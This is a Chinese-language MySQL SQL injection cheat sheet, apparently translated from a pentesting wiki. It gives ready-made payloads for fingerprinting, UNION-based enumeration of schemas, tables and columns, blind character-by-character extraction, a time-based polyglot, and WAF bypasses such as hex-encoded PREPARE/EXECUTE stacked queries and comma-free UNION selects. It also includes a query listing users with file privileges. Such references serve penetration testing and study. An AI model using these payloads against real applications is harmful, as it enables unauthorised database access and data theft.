# MySQL 注入

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## 注释
```sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02
```
## 有趣的函数

### 确认 Mysql：
```
concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)
```
### 有用的函数
```sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()
```
## 所有注入
```sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"
```
## 流程

请记住，在“现代”版本的 **MySQL** 中，您可以将 "_**information_schema.tables**_" 替换为 "_**mysql.innodb_table_stats**_**"**（这可能有助于绕过 WAF）。
```sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges
```
### **仅 1 个值**

- `group_concat()`
- `Limit X,1`

### **盲注逐个**

- `substr(version(),X,1)='r'` 或 `substring(version(),X,1)=0x70` 或 `ascii(substr(version(),X,1))=112`
- `mid(version(),X,1)='5'`

### **盲注添加**

- `LPAD(version(),1...lenght(version()),'1')='asd'...`
- `RPAD(version(),1...lenght(version()),'1')='asd'...`
- `SELECT RIGHT(version(),1...lenght(version()))='asd'...`
- `SELECT LEFT(version(),1...lenght(version()))='asd'...`
- `SELECT INSTR('foobarbar', 'fo...')=1`

## 检测列数

使用简单的 ORDER
```
order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...
```
## MySQL 联合注入
```sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
```
## SSRF

**在这里了解不同的选项以** [**滥用Mysql注入来获得SSRF**](mysql-ssrf.md)**。**

## WAF绕过技巧

### 通过预处理语句执行查询

当允许堆叠查询时，可以通过将要执行的查询的十六进制表示分配给一个变量（使用SET），然后使用PREPARE和EXECUTE MySQL语句最终执行查询，从而绕过WAF。类似于这样：
```
0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #
```
有关更多信息，请参阅 [this blog post](https://karmainsecurity.com/impresscms-from-unauthenticated-sqli-to-rce)。

### Information_schema 替代方案

请记住，在 **MySQL** 的“现代”版本中，您可以将 _**information_schema.tables**_ 替换为 _**mysql.innodb_table_stats**_ 或 _**sys.x$schema_flattened_keys**_ 或 **sys.schema_table_statistics**

### MySQL 注入无逗号

选择 2 列而不使用任何逗号 ([https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma](https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma)):
```
-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#
```
### 检索没有列名的值

如果在某个时刻你知道表的名称，但不知道表内列的名称，你可以尝试执行类似以下的操作来查找有多少列：
```bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns
```
假设有两列（第一列是ID，第二列是flag），你可以尝试逐个字符地暴力破解flag的内容：
```bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);
```
更多信息请访问 [https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952](https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952)

### MySQL 历史

您可以通过读取表格 **sys.x$statement_analysis** 查看其他执行情况。

### 版本替代**s**
```
mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();
```
## 其他MYSQL注入指南

- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)

## 参考文献

- [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md)


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